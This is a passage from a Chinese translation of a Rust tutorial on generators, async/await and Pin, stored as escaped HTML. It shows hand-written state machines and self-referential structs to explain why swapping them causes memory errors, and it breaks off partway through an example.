&lt;h4 id=&quot;sheng-cheng-qi-shi-ru-he-gong-zuo-de&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;3_generators_async_await.html#%E7%94%9F%E6%88%90%E5%99%A8%E6%98%AF%E5%A6%82%E4%BD%95%E5%B7%A5%E4%BD%9C%E7%9A%84&quot;&gt;生成器是如何工作的&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;在今天的 Nightly Rust 中，你可以使用关键词 yield。 在闭包中使用这个关键字，将其转换为生成器。 在介绍Pin之前，闭包是这样的:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; #![feature(generators, generator_trait)]
use std::ops::{Generator, GeneratorState};

fn main() {
    let a: i32 = 4;
    let mut gen = move || {
        println!(&amp;quot;Hello&amp;quot;);
        yield a * 2;
        println!(&amp;quot;world!&amp;quot;);
    };

    if let GeneratorState::Yielded(n) = gen.resume() {
        println!(&amp;quot;Got value {}&amp;quot;, n);
    }

    if let GeneratorState::Complete(()) = gen.resume() {
        ()
    };
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;早些时候，在人们对 Pin 的设计达成共识之前，编译完代码看起来类似于这样:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fn main() {
    let mut gen = GeneratorA::start(4);

    if let GeneratorState::Yielded(n) = gen.resume() {
        println!(&amp;quot;Got value {}&amp;quot;, n);
    }

    if let GeneratorState::Complete(()) = gen.resume() {
        ()
    };
}

&amp;#x2F;&amp;#x2F; If you&amp;#x27;ve ever wondered why the parameters are called Y and R the naming from
&amp;#x2F;&amp;#x2F; the original rfc most likely holds the answer
enum GeneratorState&amp;lt;Y, R&amp;gt; {
    Yielded(Y),  &amp;#x2F;&amp;#x2F; originally called `Yield(Y)`
    Complete(R), &amp;#x2F;&amp;#x2F; originally called `Return(R)`
}

trait Generator {
    type Yield;
    type Return;
    fn resume(&amp;amp;mut self) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt;;
}

enum GeneratorA {
    Enter(i32),
    Yield1(i32),
    Exit,
}

impl GeneratorA {
    fn start(a1: i32) -&amp;gt; Self {
        GeneratorA::Enter(a1)
    }
}

impl Generator for GeneratorA {
    type Yield = i32;
    type Return = ();
    fn resume(&amp;amp;mut self) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt; {
        &amp;#x2F;&amp;#x2F; lets us get ownership over current state
        match std::mem::replace(self, GeneratorA::Exit) {
            GeneratorA::Enter(a1) =&amp;gt; {

          &amp;#x2F;*----code before yield----*&amp;#x2F;
                println!(&amp;quot;Hello&amp;quot;);
                let a = a1 * 2;

                *self = GeneratorA::Yield1(a);
                GeneratorState::Yielded(a)
            }

            GeneratorA::Yield1(_) =&amp;gt; {
          &amp;#x2F;*-----code after yield-----*&amp;#x2F;
                println!(&amp;quot;world!&amp;quot;);

                *self = GeneratorA::Exit;
                GeneratorState::Complete(())
            }
            GeneratorA::Exit =&amp;gt; panic!(&amp;quot;Can&amp;#x27;t advance an exited generator!&amp;quot;),
        }
    }
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键词yield首先在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;pull&#x2F;1823&quot;&gt;RFC#1823&lt;&#x2F;a&gt;和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;pull&#x2F;1832&quot;&gt;RFC#1832&lt;&#x2F;a&gt;中讨论。&lt;&#x2F;p&gt;
&lt;p&gt;既然您知道了现实中的 yield 关键字会将代码重写为状态机，那么您还将了解await 如何工作的,他们非常相似.&lt;&#x2F;p&gt;
&lt;p&gt;上述简单的状态机中有一些限制,当跨yield发生借用的时候会发生什么呢?&lt;&#x2F;p&gt;
&lt;p&gt;我们可以禁止这样做，但async&#x2F;await 语法的主要设计目标之一就是允许这样做。 这些类型的借用是不可能使用&lt;code&gt;Futures 0.1&lt;&#x2F;code&gt;，所以我们不能让这个限制存在。&lt;&#x2F;p&gt;
&lt;p&gt;与其在理论上讨论它，不如让我们来看看一些代码。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们将使用目前 Rust 中使用的状态机的优化版本。 更深入的解释见 Tyler Mandry 的文章: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tmandry.gitlab.io&#x2F;blog&#x2F;posts&#x2F;optimizing-await-1&#x2F;&quot;&gt;Rust 如何优化async&#x2F;await&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
let mut generator = move || {
        let to_borrow = String::from(&amp;quot;Hello&amp;quot;);
        let borrowed = &amp;amp;to_borrow;
        yield borrowed.len();
        println!(&amp;quot;{} world!&amp;quot;, borrowed);
    };
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们将手工编写一些版本的状态机，这些状态机表示生成器定义的状态机。&lt;&#x2F;p&gt;
&lt;p&gt;在每个示例中，我们都是“手动”逐步完成每个步骤，因此它看起来非常陌生。 我们可以添加一些语法糖，比如为我们的生成器实现 Iterator trait，这样我们就可以这样做:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
while let Some(val) = generator.next() {
    println!(&amp;quot;{}&amp;quot;, val);
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是一个相当微不足道的改变，但是这一章已经变得很长了。我们继续前进的时候，请牢牢记住这点。&lt;&#x2F;p&gt;
&lt;p&gt;现在，我们的重写状态机在这个示例中看起来是什么样子的？&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
 #![allow(unused_variables)]
fn main() {
enum GeneratorState&amp;lt;Y, R&amp;gt; {
    Yielded(Y),
    Complete(R),
}

trait Generator {
    type Yield;
    type Return;
    fn resume(&amp;amp;mut self) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt;;
}

enum GeneratorA {
    Enter,
    Yield1 {
        to_borrow: String,
        borrowed: &amp;amp;String, &amp;#x2F;&amp;#x2F; uh, what lifetime should this have?
    },
    Exit,
}

impl GeneratorA {
    fn start() -&amp;gt; Self {
        GeneratorA::Enter
    }
}

impl Generator for GeneratorA {
    type Yield = usize;
    type Return = ();
    fn resume(&amp;amp;mut self) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt; {
        &amp;#x2F;&amp;#x2F; lets us get ownership over current state
        match std::mem::replace(self, GeneratorA::Exit) {
            GeneratorA::Enter =&amp;gt; {
                let to_borrow = String::from(&amp;quot;Hello&amp;quot;);
                let borrowed = &amp;amp;to_borrow; &amp;#x2F;&amp;#x2F; &amp;lt;--- NB!
                let res = borrowed.len();

                *self = GeneratorA::Yield1 {to_borrow, borrowed};
                GeneratorState::Yielded(res)
            }

            GeneratorA::Yield1 {to_borrow, borrowed} =&amp;gt; {
                println!(&amp;quot;Hello {}&amp;quot;, borrowed);
                *self = GeneratorA::Exit;
                GeneratorState::Complete(())
            }
            GeneratorA::Exit =&amp;gt; panic!(&amp;quot;Can&amp;#x27;t advance an exited generator!&amp;quot;),
        }
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你试图编译这个，你会得到一个错误。&lt;&#x2F;p&gt;
&lt;p&gt;字符串的生命周期是什么。 这和Self的生命周期是不一样的。 它不是静态的。 事实证明，我们不可能用Rusts语法来描述这个生命周期，这意味着，为了使这个工作成功，我们必须让编译器知道，我们自己正确地控制了它。&lt;&#x2F;p&gt;
&lt;p&gt;这意味着必须借助unsafe。&lt;&#x2F;p&gt;
&lt;p&gt;让我们尝试编写一个使用unsafe的实现。 正如您将看到的，我们最终将使用一个自引用结构, 也就是将引用保存在自身中的结构体。&lt;&#x2F;p&gt;
&lt;p&gt;正如您所注意到的，这个编译器编译得很好！&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
 #![allow(unused_variables)]
fn main() {
enum GeneratorState&amp;lt;Y, R&amp;gt; {
    Yielded(Y),
    Complete(R),
}

trait Generator {
    type Yield;
    type Return;
    fn resume(&amp;amp;mut self) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt;;
}

enum GeneratorA {
    Enter,
    Yield1 {
        to_borrow: String,
        borrowed: *const String, &amp;#x2F;&amp;#x2F; NB! This is now a raw pointer!
    },
    Exit,
}

impl GeneratorA {
    fn start() -&amp;gt; Self {
        GeneratorA::Enter
    }
}
impl Generator for GeneratorA {
    type Yield = usize;
    type Return = ();
    fn resume(&amp;amp;mut self) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt; {
            match self {
            GeneratorA::Enter =&amp;gt; {
                let to_borrow = String::from(&amp;quot;Hello&amp;quot;);
                let borrowed = &amp;amp;to_borrow;
                let res = borrowed.len();
                *self = GeneratorA::Yield1 {to_borrow, borrowed: std::ptr::null()};

                &amp;#x2F;&amp;#x2F; NB! And we set the pointer to reference the to_borrow string here
                if let GeneratorA::Yield1 {to_borrow, borrowed} = self {
                    *borrowed = to_borrow;
                }

                GeneratorState::Yielded(res)
            }

            GeneratorA::Yield1 {borrowed, ..} =&amp;gt; {
                let borrowed: &amp;amp;String = unsafe {&amp;amp;**borrowed};
                println!(&amp;quot;{} world&amp;quot;, borrowed);
                *self = GeneratorA::Exit;
                GeneratorState::Complete(())
            }
            GeneratorA::Exit =&amp;gt; panic!(&amp;quot;Can&amp;#x27;t advance an exited generator!&amp;quot;),
        }
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;请记住，我们的例子是我们生成的生成器，它的原始文件像这样:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
let mut gen = move || {
        let to_borrow = String::from(&amp;quot;Hello&amp;quot;);
        let borrowed = &amp;amp;to_borrow;
        yield borrowed.len();
        println!(&amp;quot;{} world!&amp;quot;, borrowed);
    };
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面是我们如何运行这个状态机的示例，正如您所看到的，它完成了我们所期望的任务。 但这仍然存在一个巨大的问题:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pub fn main() {
    let mut gen = GeneratorA::start();
    let mut gen2 = GeneratorA::start();

    if let GeneratorState::Yielded(n) = gen.resume() {
        println!(&amp;quot;Got value {}&amp;quot;, n);
    }

    if let GeneratorState::Yielded(n) = gen2.resume() {
        println!(&amp;quot;Got value {}&amp;quot;, n);
    }

    if let GeneratorState::Complete(()) = gen.resume() {
        ()
    };
}
enum GeneratorState&amp;lt;Y, R&amp;gt; {
    Yielded(Y),
    Complete(R),
}

trait Generator {
    type Yield;
    type Return;
    fn resume(&amp;amp;mut self) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt;;
}

enum GeneratorA {
    Enter,
    Yield1 {
        to_borrow: String,
        borrowed: *const String,
    },
    Exit,
}

impl GeneratorA {
    fn start() -&amp;gt; Self {
        GeneratorA::Enter
    }
}
impl Generator for GeneratorA {
    type Yield = usize;
    type Return = ();
    fn resume(&amp;amp;mut self) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt; {
            match self {
            GeneratorA::Enter =&amp;gt; {
                let to_borrow = String::from(&amp;quot;Hello&amp;quot;);
                let borrowed = &amp;amp;to_borrow;
                let res = borrowed.len();
                *self = GeneratorA::Yield1 {to_borrow, borrowed: std::ptr::null()};

                &amp;#x2F;&amp;#x2F; We set the self-reference here
                if let GeneratorA::Yield1 {to_borrow, borrowed} = self {
                    *borrowed = to_borrow;
                }

                GeneratorState::Yielded(res)
            }

            GeneratorA::Yield1 {borrowed, ..} =&amp;gt; {
                let borrowed: &amp;amp;String = unsafe {&amp;amp;**borrowed};
                println!(&amp;quot;{} world&amp;quot;, borrowed);
                *self = GeneratorA::Exit;
                GeneratorState::Complete(())
            }
            GeneratorA::Exit =&amp;gt; panic!(&amp;quot;Can&amp;#x27;t advance an exited generator!&amp;quot;),
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;问题在于，如果在Safe Rust代码中,我们这样做:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; #![feature(never_type)] &amp;#x2F;&amp;#x2F; Force nightly compiler to be used in playground
&amp;#x2F;&amp;#x2F; by betting on it&amp;#x27;s true that this type is named after it&amp;#x27;s stabilization date...
pub fn main() {
    let mut gen = GeneratorA::start();
    let mut gen2 = GeneratorA::start();

    if let GeneratorState::Yielded(n) = gen.resume() {
        println!(&amp;quot;Got value {}&amp;quot;, n);
    }

    std::mem::swap(&amp;amp;mut gen, &amp;amp;mut gen2); &amp;#x2F;&amp;#x2F; &amp;lt;--- Big problem!

    if let GeneratorState::Yielded(n) = gen2.resume() {
        println!(&amp;quot;Got value {}&amp;quot;, n);
    }

    &amp;#x2F;&amp;#x2F; This would now start gen2 since we swapped them.
    if let GeneratorState::Complete(()) = gen.resume() {
        ()
    };
}
enum GeneratorState&amp;lt;Y, R&amp;gt; {
    Yielded(Y),
    Complete(R),
}

trait Generator {
    type Yield;
    type Return;
    fn resume(&amp;amp;mut self) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt;;
}

enum GeneratorA {
    Enter,
    Yield1 {
        to_borrow: String,
        borrowed: *const String,
    },
    Exit,
}

impl GeneratorA {
    fn start() -&amp;gt; Self {
        GeneratorA::Enter
    }
}
impl Generator for GeneratorA {
    type Yield = usize;
    type Return = ();
    fn resume(&amp;amp;mut self) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt; {
            match self {
            GeneratorA::Enter =&amp;gt; {
                let to_borrow = String::from(&amp;quot;Hello&amp;quot;);
                let borrowed = &amp;amp;to_borrow;
                let res = borrowed.len();
                *self = GeneratorA::Yield1 {to_borrow, borrowed: std::ptr::null()};

                &amp;#x2F;&amp;#x2F; We set the self-reference here
                if let GeneratorA::Yield1 {to_borrow, borrowed} = self {
                    *borrowed = to_borrow;
                }

                GeneratorState::Yielded(res)
            }

            GeneratorA::Yield1 {borrowed, ..} =&amp;gt; {
                let borrowed: &amp;amp;String = unsafe {&amp;amp;**borrowed};
                println!(&amp;quot;{} world&amp;quot;, borrowed);
                *self = GeneratorA::Exit;
                GeneratorState::Complete(())
            }
            GeneratorA::Exit =&amp;gt; panic!(&amp;quot;Can&amp;#x27;t advance an exited generator!&amp;quot;),
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行代码并比较结果。你看到问题了吗？&lt;&#x2F;p&gt;
&lt;p&gt;等等? “Hello”怎么了? 为什么我们的代码出错了？&lt;&#x2F;p&gt;
&lt;p&gt;事实证明，虽然上面的例子编译得很好，但是我们在使用安全Rust时将这个API的使用者暴露在可能的内存未定义行为和其他内存错误中。 这是个大问题！&lt;&#x2F;p&gt;
&lt;p&gt;实际上，我已经强制上面的代码使用编译器的夜间版本。 如果您在playground上运行上面的示例，您将看到它在当前稳定状态(1.42.0)上运行时没有panic，但在当前夜间状态(1.44.0)上panic。 太可怕了！&lt;&#x2F;p&gt;
&lt;p&gt;我们将在下一章用一个稍微简单一点的例子来解释这里发生了什么，我们将使用 Pin 来修复我们的生成器，所以不用担心，您将看到到底出了什么问题，看看 Pin 如何能够帮助我们在一秒钟内安全地处理自引用类型。&lt;&#x2F;p&gt;
&lt;p&gt;在我们详细解释这个问题之前，让我们通过了解生成器和 async 关键字之间的关系来结束本章。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yi-bu-he-sheng-cheng-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;3_generators_async_await.html#%E5%BC%82%E6%AD%A5%E5%92%8C%E7%94%9F%E6%88%90%E5%99%A8&quot;&gt;异步和生成器&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Futures 在Rust中被实现为状态机，就像生成器是状态机一样。&lt;&#x2F;p&gt;
&lt;p&gt;您可能已经注意到异步块中使用的语法和生成器中使用的语法的相似之处:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
let mut gen = move || {
        let to_borrow = String::from(&amp;quot;Hello&amp;quot;);
        let borrowed = &amp;amp;to_borrow;
        yield borrowed.len();
        println!(&amp;quot;{} world!&amp;quot;, borrowed);
    };

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;比较一下异步块的类似例子:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
let mut fut = async {
        let to_borrow = String::from(&amp;quot;Hello&amp;quot;);
        let borrowed = &amp;amp;to_borrow;
        SomeResource::some_task().await;
        println!(&amp;quot;{} world!&amp;quot;, borrowed);
    };
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不同之处在于，Futures 的状态与 Generator 的状态不同。&lt;&#x2F;p&gt;
&lt;p&gt;异步块将返回一个 Future 而不是 Generator，但是 Future 的工作方式和 Generator 的内部工作方式是相似的。&lt;&#x2F;p&gt;
&lt;p&gt;我们不调用&lt;code&gt;Generator::resume&lt;&#x2F;code&gt;，而是调用 &lt;code&gt;Future::poll&lt;&#x2F;code&gt;，并且不返回 generated 或 Complete，而是返回 Pending 或 Ready。 Future中的每一个await就像生成器中的一个yield。&lt;&#x2F;p&gt;
&lt;p&gt;你看到他们现在是怎么联系起来的了吗？&lt;&#x2F;p&gt;
&lt;p&gt;这就是为什么理解了生成器如何工作以及他需要面对的挑战,也就理解了Future如何工作以及它需要面对的挑战。&lt;&#x2F;p&gt;
&lt;p&gt;跨yield&#x2F;await的借用就是这样.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;jiang-li-bu-fen-zheng-zai-shi-yong-de-zi-yin-yong-sheng-cheng-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;3_generators_async_await.html#%E5%A5%96%E5%8A%B1%E9%83%A8%E5%88%86-%E6%AD%A3%E5%9C%A8%E4%BD%BF%E7%94%A8%E7%9A%84%E8%87%AA%E5%BC%95%E7%94%A8%E7%94%9F%E6%88%90%E5%99%A8&quot;&gt;奖励部分-正在使用的自引用生成器&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;感谢&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;pull&#x2F;45337&#x2F;files&quot;&gt; PR#45337 &lt;&#x2F;a&gt;,你可以在nightly版本中使用static关键字运行上面的例子. 你可以试试:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;要注意的是，API可能会发生改变。 在我撰写本书时，生成器API有一个更改，添加了对“ resume”参数的支持，以便传递到生成器闭包中。 可以关注&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;blob&#x2F;master&#x2F;text&#x2F;2033-experimental-coroutines.md&quot;&gt;RFC#033&lt;&#x2F;a&gt;的相关&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;43122&quot;&gt;问题#4312&lt;&#x2F;a&gt;的进展。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt; #![feature(generators, generator_trait)]
use std::ops::{Generator, GeneratorState};

pub fn main() {
    let gen1 = static || {
        let to_borrow = String::from(&amp;quot;Hello&amp;quot;);
        let borrowed = &amp;amp;to_borrow;
        yield borrowed.len();
        println!(&amp;quot;{} world!&amp;quot;, borrowed);
    };

    let gen2 = static || {
        let to_borrow = String::from(&amp;quot;Hello&amp;quot;);
        let borrowed = &amp;amp;to_borrow;
        yield borrowed.len();
        println!(&amp;quot;{} world!&amp;quot;, borrowed);
    };

    let mut pinned1 = Box::pin(gen1);
    let mut pinned2 = Box::pin(gen2);

    if let GeneratorState::Yielded(n) = pinned1.as_mut().resume(()) {
        println!(&amp;quot;Gen1 got value {}&amp;quot;, n);
    }

    if let GeneratorState::Yielded(n) = pinned2.as_mut().resume(()) {
        println!(&amp;quot;Gen2 got value {}&amp;quot;, n);
    };

    let _ = pinned1.as_mut().resume(());
    let _ = pinned2.as_mut().resume(());
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;gai-shu-3&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;4_pin.html#%E6%A6%82%E8%BF%B0&quot;&gt;概述&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;译者注: Pin是在使用Future时一个非常重要的概念,我的理解是: 通过使用Pin,让用户无法安全的获取到&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;,进而无法进行上述例子中的swap. 如果你觉得你的和这个struct没有自引用的问题,你可以自己实现UnPin.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;了解如何使用Pin以及当你自己实现&lt;code&gt;Future&lt;&#x2F;code&gt;的时候为什么需要Pin&lt;&#x2F;li&gt;
&lt;li&gt;理解如何让自引用类型被安全的使用&lt;&#x2F;li&gt;
&lt;li&gt;理解跨&#x27;await`借用是如何实现的&lt;&#x2F;li&gt;
&lt;li&gt;制定一套实用的规则来帮助你使用Pin&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Pin是在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;blob&#x2F;master&#x2F;text&#x2F;2349-pin.md&quot;&gt;RFC#2349&lt;&#x2F;a&gt;中被提出的.&lt;&#x2F;p&gt;
&lt;p&gt;让我们直接了当的说吧,Pin是这一系列概念中很难一开始就搞明白的,但是一旦你理解了其心智模型,就会觉得非常容易理解.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ding-yi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;4_pin.html#%E5%AE%9A%E4%B9%89&quot;&gt;定义&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Pin只与指针有关,在Rust中引用也是指针.&lt;&#x2F;p&gt;
&lt;p&gt;Pin有&lt;code&gt;Pin&lt;&#x2F;code&gt;类型和&lt;code&gt;Unpin&lt;&#x2F;code&gt;标记组成(UnPin是Rust中为数不多的几个auto trait). Pin存在的目的就是为了让那些实现了&lt;code&gt;!UnPin&lt;&#x2F;code&gt;的类型遵守特定的规则.&lt;&#x2F;p&gt;
&lt;p&gt;是的，你是对的，这里是双重否定&lt;code&gt;!Unpin&lt;&#x2F;code&gt; 的意思是“not-un-pin”。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这个命名方案是 Rusts 的安全特性之一，它故意测试您是否因为太累而无法安全地使用这个标记来实现类型。 如果你因为&lt;code&gt;UnPin&lt;&#x2F;code&gt;开始感到困惑，或者甚至生气，那么你就应该这样做！ 是时候放下工作，以全新的心态重新开始明天的生活了，这是一个好兆头。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;更严肃地说，我认为有必要提到，选择这些名字是有正当理由的。 命名并不容易，我曾经考虑过在这本书中重命名 &lt;code&gt;Unpin&lt;&#x2F;code&gt; 和&lt;code&gt;!UnPin&lt;&#x2F;code&gt; ,使他们更容易理解。&lt;&#x2F;p&gt;
&lt;p&gt;然而，一位经验丰富的Rust社区成员让我相信，当简单地给这些标记起不同的名字时，有太多的细微差别和边缘情况需要考虑，而这些很容易被忽略，我相信我们将不得不习惯它们并按原样使用它们。&lt;&#x2F;p&gt;
&lt;p&gt;如果你愿意，你可以从&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;internals.rust-lang.org&#x2F;t&#x2F;naming-pin-anchor-move&#x2F;6864&quot;&gt;内部讨论&lt;&#x2F;a&gt;中读到一些讨论。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pinninghe-zi-yin-yong-jie-gou&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;4_pin.html#pinning%E5%92%8C%E8%87%AA%E5%BC%95%E7%94%A8%E7%BB%93%E6%9E%84&quot;&gt;Pinning和自引用结构&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;让我们从上一章(生成器那一章)停止的地方开始，通过使用一些比状态机更容易推理的自引用结构，使我们在生成器中看到的使用自引用结构的问题变得简单得多:&lt;&#x2F;p&gt;
&lt;p&gt;现在我们的例子是这样的:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
use std::pin::Pin;

  #[derive(Debug)]
struct Test {
    a: String,
    b: *const String,
}

impl Test {
    fn new(txt: &amp;amp;str) -&amp;gt; Self {
        let a = String::from(txt);
        Test {
            a,
            b: std::ptr::null(),
        }
    }

    fn init(&amp;amp;mut self) {
        let self_ref: *const String = &amp;amp;self.a;
        self.b = self_ref;
    }

    fn a(&amp;amp;self) -&amp;gt; &amp;amp;str {
        &amp;amp;self.a
    }

    fn b(&amp;amp;self) -&amp;gt; &amp;amp;String {
        unsafe {&amp;amp;*(self.b)}
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;让我们来回顾一下这个例子，因为我们将在本章的其余部分使用它。&lt;&#x2F;p&gt;
&lt;p&gt;我们有一个自引用结构体&lt;code&gt;Test&lt;&#x2F;code&gt;。 Test需要创建一个init方法，这个方法很奇怪，但是为了尽可能简短，我们需要这个方法。&lt;&#x2F;p&gt;
&lt;p&gt;Test 提供了两种方法来获取字段 a 和 b 值的引用。 因为 b 是 a 的参考，所以我们把它存储为一个指针，因为 Rust 的借用规则不允许我们定义这个生命周期。&lt;&#x2F;p&gt;
&lt;p&gt;现在，让我们用这个例子来详细解释我们遇到的问题:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fn main() {
    let mut test1 = Test::new(&amp;quot;test1&amp;quot;);
    test1.init();
    let mut test2 = Test::new(&amp;quot;test2&amp;quot;);
    test2.init();

    println!(&amp;quot;a: {}, b: {}&amp;quot;, test1.a(), test1.b());
    println!(&amp;quot;a: {}, b: {}&amp;quot;, test2.a(), test2.b());

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在main函数中,我们首先实例化Test的两个实例,然后输出test1和test2各字段的值,结果如我们所料:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;a: test1, b: test1
a: test2, b: test2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;让我们看看，如果我们将存储在 test1指向的内存位置的数据与存储在 test2指向的内存位置的数据进行交换，会发生什么情况，反之亦然。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fn main() {
    let mut test1 = Test::new(&amp;quot;test1&amp;quot;);
    test1.init();
    let mut test2 = Test::new(&amp;quot;test2&amp;quot;);
    test2.init();

    println!(&amp;quot;a: {}, b: {}&amp;quot;, test1.a(), test1.b());
    std::mem::swap(&amp;amp;mut test1, &amp;amp;mut test2);
    println!(&amp;quot;a: {}, b: {}&amp;quot;, test2.a(), test2.b());

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们可能会认为会打印两边test1,比如:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
a: test1, b: test1
a: test1, b: test1
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是实际上我们得到的是:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;a: test1, b: test1
a: test1, b: test2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;指向 test2.b 的指针仍然指向test1内部的旧位置。 该结构不再是自引用的，它保存指向不同对象中的字段的指针。 这意味着我们不能再依赖test2.b的生存期与test2的生存期绑定在一起。&lt;&#x2F;p&gt;
&lt;p&gt;如果你仍然不相信，这至少可以说服你:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fn main() {
    let mut test1 = Test::new(&amp;quot;test1&amp;quot;);
    test1.init();
    let mut test2 = Test::new(&amp;quot;test2&amp;quot;);
    test2.init();

